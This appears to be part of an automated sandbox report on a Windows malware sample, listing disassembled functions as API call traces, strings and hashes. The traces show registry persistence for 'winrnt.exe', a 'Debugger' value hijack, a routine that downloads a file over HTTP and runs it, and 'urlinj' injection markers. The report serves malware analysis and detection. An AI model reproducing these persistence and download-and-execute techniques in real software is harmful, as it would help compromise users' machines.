RegDeleteValueA.ADVAPI32(?,winrnt.exe,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0041103E,?), ref: 0040526E
RegCloseKey.ADVAPI32(?,?,winrnt.exe,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0041103E), ref: 0040527A
RegCreateKeyA.ADVAPI32(80000002,004071E0,?), ref: 004052C2
RegSetValueExA.ADVAPI32(?,004071C3,00000000,00000004,?,00000004,80000002,004071E0,?,?,?,winrnt.exe,80000002,00407220,00000000,00020006), ref: 004052E5
RegCloseKey.ADVAPI32(?,?,004071C3,00000000,00000004,?,00000004,80000002,004071E0,?,?,?,winrnt.exe,80000002,00407220,00000000), ref: 004052F1
RegOpenKeyExA.ADVAPI32(80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?,winrnt.exe,80000002,00407220,00000000,00020006,?), ref: 00405362
RegSetValueExA.ADVAPI32(?,00407177,00000000,00000004,?,00000004,80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?), ref: 00405385
RegSetValueExA.ADVAPI32(?,00407160,00000000,00000004,?,00000004,?,00407177,00000000,00000004,?,00000004,80000002,004071A0,00000000,00020006), ref: 0040539D
RegSetValueExA.ADVAPI32(?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000,00000004,?,00000004,?,00407177,00000000,00000004), ref: 004053B5
RegSetValueExA.ADVAPI32(?,00407135,00000000,00000004,?,00000004,?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000,00000004), ref: 004053CD
RegCloseKey.ADVAPI32(?,?,00407135,00000000,00000004,?,00000004,?,0040714A,00000000,00000004,?,00000004,?,00407160,00000000), ref: 004053D9
RegOpenKeyExA.ADVAPI32(80000002,004070C0,00000000,0002001F,?,80000002,004071A0,00000000,00020006,?,80000002,004071E0,?,?,?,winrnt.exe), ref: 00405402
RegEnumValueA.ADVAPI32(?,40000000,00000000,?,00000000,00000000,00004000,00004000,80000002,004070C0,00000000,0002001F,?,80000002,004071A0,00000000), ref: 004054AB
wsprintfA.USER32 ref: 004054C2
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000000,00000001,00000003,00000000,00000000), ref: 004054D9
RegCloseKey.ADVAPI32(?,?,?,00000000,00000001,00000000,00000001,00000003,00000000,00000000), ref: 004054EC
CreateThread.KERNEL32(00000000,00010000,Function_0000265F,00000002,00000000,?), ref: 00405509
CloseHandle.KERNEL32(00000000,00000000,00010000,Function_0000265F,00000002,00000000,?,?,?,winrnt.exe,80000002,00407220,00000000,00020006,?,%AppData%\), ref: 0040550F
RegCreateKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,0002001F,00000000,00000002,00000000,00000000,00000000,00010000,Function_0000265F,00000002,00000000,?), ref: 00405583
GetSystemTimeAsFileTime.KERNEL32(00000000,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,0002001F,00000000,00000002,00000000,00000000,00000000,00010000,Function_0000265F,00000002,00000000), ref: 00405595
RegQueryValueExA.ADVAPI32(?,ConnPred,00000000,00000000,00000000,00000008,00000000,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,0002001F,00000000,00000002,00000000), ref: 004055BF

Strings

kernel32.dll, xrefs: 00404F6D
explorer.exe, xrefs: 00404F5D
winlogon.exe, xrefs: 00404F42
%AppData%\, xrefs: 0040508D, 004051C2
%CommonProgramFiles%\System\, xrefs: 004051AB
tmp, xrefs: 00404DD1

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$Create$Value$Close$lstrcat$Attributes$EnvironmentExpandHandleOpenStringsTemp$ErrorLastPathSystemTimeWrite$Directory$DeleteEnumNameQueryThreadlstrlenwsprintf
String ID: %AppData%\$%CommonProgramFiles%\System\$explorer.exe$kernel32.dll$tmp$winlogon.exe
API String ID: 673231081-3579377401
Opcode ID: 4e855ec33d0ceb2612a926de5c85e617f6f3ba52014d6bd10d8ca8ace089c697
Instruction ID: fbe2660df193cff3e18baa874fd9eb54c314e199f9e988dc3fb1dd516a992f0b
Opcode Fuzzy Hash: 4e855ec33d0ceb2612a926de5c85e617f6f3ba52014d6bd10d8ca8ace089c697
Instruction Fuzzy Hash: 6B7193B0784745B9E630A6618C4BFDB228DAF44B48F50493F73C5B90C2DAFCA5448B6E

Function 0040457B Relevance: 54.5, APIs: 27, Strings: 4, Instructions: 233stringregistryfileCOMMON

Download Yara Rule

APIs

RegCreateKeyA.ADVAPI32(80000002,00408720,?), ref: 0040458D
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 004045A7
lstrcat.KERNEL32(?,0041103E), ref: 004045B8
lstrcat.KERNEL32(00000000,?), ref: 004045BE
CreateMutexA.KERNEL32(00000000,00000000,00407AE0,00000000,?,0041103E,?,00000104,80000002,00408720,?), ref: 004045DE
WaitForSingleObject.KERNEL32(00000000,00002710,00000000,00000000,00407AE0,00000000,?,0041103E,?,00000104,80000002,00408720,?), ref: 004045F4
CloseHandle.KERNEL32(?,00000000,00002710,00000000,00000000,00407AE0,00000000,?,0041103E,?,00000104,80000002,00408720,?), ref: 00404600
Sleep.KERNEL32(000007D0,00000000,00000000,00407AE0,00000000,?,0041103E,?,00000104,80000002,00408720,?), ref: 0040460C
SetFileAttributesA.KERNEL32(?,00000080,000007D0,00000000,00000000,00407AE0,00000000,?,0041103E,?,00000104,80000002,00408720,?), ref: 0040461E
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407AE0,00000000,?,0041103E), ref: 00404636
WriteFile.KERNEL32(00000000,00407B20,00000C00,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000), ref: 00404668
lstrlen.KERNEL32(?,00000000,00407B20,00000C00,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0), ref: 004046B6
lstrcpy.KERNEL32(?,?), ref: 004046EB
WriteFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,00000000,00407B20,00000C00,?,00000000,?,40000000,00000000), ref: 0040471B
SetFileTime.KERNEL32(?,?,?,?,?,00000000,?,?,00000000,?,?,?,00000000,00407B20,00000C00,?), ref: 0040474D
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,00000000,00407B20,00000C00,?,00000000,?,40000000), ref: 00404759
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?), ref: 00404775
RegDeleteValueA.ADVAPI32(?,Debugger,?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,00000000,?,?,00000000,?), ref: 00404786

Part of subcall function 00401251: RegSetValueExW.ADVAPI32(?,?,00000000,00000001,00411035,00000004), ref: 004012B2

lstrlen.KERNEL32(?,?,Debugger,?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,00000000,?,?,00000000), ref: 00404798
RegSetValueExA.ADVAPI32(?,Debugger,00000000,00000001,?,00000001,?,?,Debugger,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004047B0
RegCloseKey.ADVAPI32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407AE0,00000000,?), ref: 004047C4
GetComputerNameA.KERNEL32(?,00000010), ref: 004047DE
lstrcpy.KERNEL32(?,QlC5hT0yHn63XEm5LqJ2OxSkGj2v), ref: 004047FE
lstrcpy.KERNEL32(?,?), ref: 0040480E
lstrlen.KERNEL32(?,?,?), ref: 0040482B
wsprintfA.USER32 ref: 004048CF

Strings

QlC5hT0yHn63XEm5LqJ2OxSkGj2v, xrefs: 004047F1
{%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}, xrefs: 004048C5
Debugger, xrefs: 0040477A, 004047A4
f, xrefs: 0040467A

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$Create$CloseValuelstrcpylstrlen$HandleWritelstrcat$AttributesComputerDeleteDirectoryMutexNameObjectSingleSleepSystemTimeWaitwsprintf
String ID: Debugger$QlC5hT0yHn63XEm5LqJ2OxSkGj2v$f${%02X%02X%02X%02X-%02x%02x-%02x%02x-%02X%02X-%02X%02X%02X%02X%02x%02x}
API String ID: 601675314-4017334698
Opcode ID: 5d5810463db3448af7570b20dafc215ce533a0388cc6d29e9598b3e6ad3a6499
Instruction ID: 54dbcc9571b8fe088a9b1486dd0164562ca2f985fb6eb90898113ffa304c7d2c
Opcode Fuzzy Hash: 5d5810463db3448af7570b20dafc215ce533a0388cc6d29e9598b3e6ad3a6499
Instruction Fuzzy Hash: 9981BFB1108785A9D731E7608C85FEF7AEC9B85304F50482BB6C9F60C2D67C96458B6A

Function 0040211B Relevance: 52.7, APIs: 24, Strings: 6, Instructions: 243filestringprocessCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 00402158
GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,?,00000000,?,00402C02,00000000,00000000,?,Default Flags,00000000,00000003), ref: 004021E0
lstrcpy.KERNEL32(?,?), ref: 00402204
lstrcat.KERNEL32(00000000,?), ref: 0040220A
lstrcat.KERNEL32(00000000,00000000), ref: 00402210
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040223F

Part of subcall function 004019E8: lstrcpy.KERNEL32(?), ref: 00401A14
Part of subcall function 004019E8: lstrlen.KERNEL32(00000000,?), ref: 00401A1A
Part of subcall function 004019E8: htons.WS2_32(00000050), ref: 00401A7B
Part of subcall function 004019E8: socket.WS2_32(00000002,00000001,00000006), ref: 00401AD6
Part of subcall function 004019E8: closesocket.WS2_32(00000000), ref: 00401AF9
Part of subcall function 004019E8: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401C0F
Part of subcall function 004019E8: InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401C35
Part of subcall function 004019E8: InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401C41
Part of subcall function 004019E8: InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401C4D

GetTempFileNameA.KERNEL32(?,tmp,00000000,?), ref: 00402220
WriteFile.KERNEL32(00000000,?,00000000,00412190,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040226F

Part of subcall function 00401E00: InternetReadFile.WININET(?,?,?,?), ref: 00401E24

CloseHandle.KERNEL32(00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 00402299
DeleteFileA.KERNEL32(?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004022AC
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004022DA
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000,00000000), ref: 004022F2
DeleteFileA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000000,?,40000000,00000000), ref: 0040230A
WriteFile.KERNEL32(00000000,0040FA40,00000600,00412190,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040232B
CloseHandle.KERNEL32(00000000,00000000,0040FA40,00000600,00412190,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000), ref: 00402331
GetStartupInfoA.KERNEL32(00000000), ref: 0040233B
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00412190,00000000,00000000,?,40000000,00000000,00000000), ref: 0040237D
DeleteFileA.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00412190,00000000,00000000,?,40000000,00000000), ref: 0040238E
DeleteFileA.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00412190,00000000,00000000,?,40000000), ref: 004023A0
CloseHandle.KERNEL32(00000012,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00412190,00000000,00000000,?,40000000,00000000), ref: 004023B7
lstrcpy.KERNEL32(00000004,?), ref: 004023D3
lstrcpy.KERNEL32(00000108,?), ref: 004023EC
CreateThread.KERNEL32(00000000,00010000,004020E2,00000000,00000000), ref: 0040240C
CloseHandle.KERNEL32(00000000,00000000,00010000,004020E2,00000000,00000000,?,00000004,?,00000012,?,00000000,00000000,00000000,00000000,00000000), ref: 00402412

Strings

urlinj_fork, xrefs: 004023A5
urlinj_creat_f, xrefs: 0040230F
urlinj_creat, xrefs: 00402256
urlinj_conn, xrefs: 004021C8
urlinj_xfer, xrefs: 004022B1
tmp, xrefs: 0040221A, 004022CD

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$Internetlstrcpy$CloseCreateDeleteHandle$OptionTemp$NameWritelstrcat$InfoOpenPathProcessReadStartupThreadclosesockethtonslstrlensocket
String ID: tmp$urlinj_conn$urlinj_creat$urlinj_creat_f$urlinj_fork$urlinj_xfer
API String ID: 910217646-3391900140
Opcode ID: e5aa447fc9ca00fdae92db8a6c8c3abf24002789fef2bf7d6e053e9a14996efe
Instruction ID: 895ea3fb7fd56845c489c34011873c515f9ddc39e1368bf3964ea777627726e2
Opcode Fuzzy Hash: e5aa447fc9ca00fdae92db8a6c8c3abf24002789fef2bf7d6e053e9a14996efe
Instruction Fuzzy Hash: EB71E6712443406AE730A2B58D8EFEB229D9F84704F50443BBA84FA2D2D6FCD944866E

Function 004019E8 Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 203networkstringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 00401A14
lstrlen.KERNEL32(00000000,?), ref: 00401A1A
htons.WS2_32(00000050), ref: 00401A7B
inet_addr.WS2_32(?), ref: 00401A96
gethostbyname.WS2_32(?), ref: 00401AA5
socket.WS2_32(00000002,00000001,00000006), ref: 00401AD6
closesocket.WS2_32(00000000), ref: 00401AF9
wsprintfA.USER32 ref: 00401B44
send.WS2_32(00000000,?,00000000,00000000), ref: 00401B5A
lstrcmpiA.KERNEL32(?,HTTP/1.0 200), ref: 00401B8B
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401C0F
InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401C35
InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401C41
InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401C4D
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84280300,00000000), ref: 00401C65
InternetCloseHandle.WININET(00000000), ref: 00401CA0

Strings

GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00401B36
0, xrefs: 00401B7D
P, xrefs: 00401B23
GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00401B3D, 00401B42
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00401C0A
HTTP/1.0 200, xrefs: 00401B77

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Internet$Option$Open$CloseHandleclosesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0$GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$HTTP/1.0 200$Mozilla/4.0 (compatible; MSIE 6.0; Win32)$P
API String ID: 326340279-3185374940
Opcode ID: c5d45dd5b0852868a88cd7f42ace2a0081f095ac5beb68cc9b967b7c8b616f4c
Instruction ID: f87274f76e66a91bb03daa9740d34f21cd30a4f309872cf7f6b7342f01a6976e
Opcode Fuzzy Hash: c5d45dd5b0852868a88cd7f42ace2a0081f095ac5beb68cc9b967b7c8b616f4c
Instruction Fuzzy Hash: 1871C6B0A402159EE7209B65CC45B9B76A8EF05354F1480BAF704FB2E2D7BC99448B6D

Function 00401832 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 127registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401C02), ref: 00401870
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 004019C7
RegCloseKey.ADVAPI32(00000000,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401C02), ref: 004019D8

Strings

Connections, xrefs: 00401927
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 004018B8
ProxyEnable, xrefs: 004018EB
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 00401866
_Classes, xrefs: 00401898

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseCreateEnum
String ID: Connections$ProxyEnable$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections$\Software\Microsoft\Windows\CurrentVersion\Internet Settings$_Classes
API String ID: 2702359829-1466506419
Opcode ID: 862f5f0fbee953c32f996a64879b4189e60e294f7e4ca364f12703019df267d7
Instruction ID: 8d3d3186799d04fc24a63bfaa52dde977d0271b4b09f6de0e5c37a32578555ba
Opcode Fuzzy Hash: 862f5f0fbee953c32f996a64879b4189e60e294f7e4ca364f12703019df267d7
Instruction Fuzzy Hash: 5741A3B11483057AF720AA618C51FAB76DCEF84748F40083FB685B51E1D7BCD958C6AB

Function 00402427 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 136networkstringCOMMON

Download Yara Rule

APIs

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

lstrcpy.KERNEL32(?,00402796), ref: 00402482
gethostbyname.WS2_32(?), ref: 00402495
htons.WS2_32(00000050), ref: 004024AA
socket.WS2_32(00000002,00000001,00000006), ref: 004024CC
closesocket.WS2_32(00000000), ref: 004024E8

Part of subcall function 00401832: RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401C02), ref: 00401870

InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00402522
InternetSetOptionA.WININET(00000000,00000002,?,00000004), ref: 00402543
InternetSetOptionA.WININET(00000000,00000006,?,00000004), ref: 0040254F
InternetSetOptionA.WININET(00000000,00000005,?,00000004), ref: 0040255B
wsprintfA.USER32 ref: 00402570
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84280300,00000000), ref: 00402582
InternetCloseHandle.WININET(00000000), ref: 004025A2
InternetCloseHandle.WININET(00000000), ref: 004025A9
InternetCloseHandle.WININET(00000000), ref: 004025B4

Strings

http://%s/, xrefs: 00402566
Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 0040251D

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Internet$CloseHandleOption$Openwsprintf$Createclosesocketgethostbynamehtonslstrcpysocket
String ID: Mozilla/4.0 (compatible; MSIE 6.0; Win32)$http://%s/
API String ID: 2574392083-3144419281
Opcode ID: 56421fda0256175cb276b36f0f9640f1fb6e28286914dfc1848891d9f7e62b0a
Instruction ID: 67c2733fa8eb29aad750db9e29587364db6da652461455575ed9c5e3ed18a433
Opcode Fuzzy Hash: 56421fda0256175cb276b36f0f9640f1fb6e28286914dfc1848891d9f7e62b0a
Instruction Fuzzy Hash: 3941BD70644300BEE710AB24CE8AB5B36A5AF44744F04853AF641EA2D1D7FC9951CB5E

Function 0040395A Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,InternetOpenA), ref: 004039BA
GetProcAddress.KERNEL32(?,InternetOpenUrlA), ref: 004039CA
GetProcAddress.KERNEL32(?,InternetReadFile), ref: 004039DA
GetProcAddress.KERNEL32(?,InternetSetOptionA), ref: 004039EA
GetProcAddress.KERNEL32(?,InternetCloseHandle), ref: 004039FA

Strings

InternetOpenUrlA, xrefs: 0040396C, 004039BF
InternetSetOptionA, xrefs: 00403990, 004039DF
InternetOpenA, xrefs: 0040395A, 004039B4
InternetCloseHandle, xrefs: 004039A2, 004039EF
InternetReadFile, xrefs: 0040397E, 004039CF
winrnt.exe, xrefs: 00403A10

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AddressProc
String ID: InternetCloseHandle$InternetOpenA$InternetOpenUrlA$InternetReadFile$InternetSetOptionA$winrnt.exe
API String ID: 190572456-2600980705
Opcode ID: 8c60e9bad0216edcd5d2f60f70b2290ab8f73cca25e89bcfd46c5932b96ebbff
Instruction ID: 3464b26757038a97369b87fc09c3feac6c6e71abbe39daa14242ab02e268b348
Opcode Fuzzy Hash: 8c60e9bad0216edcd5d2f60f70b2290ab8f73cca25e89bcfd46c5932b96ebbff
Instruction Fuzzy Hash: 1D11A3B0508642B9C701DB7D4D8459A2D4EB5167213205EB3A0E3FA1E2D7FC8AC18F6E

Function 004030DE Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,?,00407AA0,004122B0), ref: 004030FB
RegQueryValueExA.ADVAPI32(?,SubshellState,00000000,0002001F,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 00403122
RegCloseKey.ADVAPI32(0002001F,?,SubshellState,00000000,0002001F,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 0040312F
RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,?,00407AA0,004122B0), ref: 00403146
RegQueryValueExA.ADVAPI32(0002001F,SubshellState,00000000,0002001F,?,0000022A,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 0040316D
RegCloseKey.ADVAPI32(0002001F,0002001F,SubshellState,00000000,0002001F,?,0000022A,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 00403180

Strings

SubshellState, xrefs: 00403119, 00403164
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 004030F1, 0040313C

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseOpenQueryValue
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SubshellState
API String ID: 3677997916-1581766880
Opcode ID: 3c3b49fec9e33612e900ab321f4f4ab453e7f6ba676331166c2ef6ad6fa749c1
Instruction ID: 3beb80fef79f5c207cf2a6ebc17cef41e9b326a57f1f729476a9612e7a75af9c
Opcode Fuzzy Hash: 3c3b49fec9e33612e900ab321f4f4ab453e7f6ba676331166c2ef6ad6fa749c1
Instruction Fuzzy Hash: 4001D6312883017AE710AF51DC46F9B7AEC9F44784F10443FBA49B50D1E6BCED95861E

Function 00401038 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45processfilesynchronizationCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401046
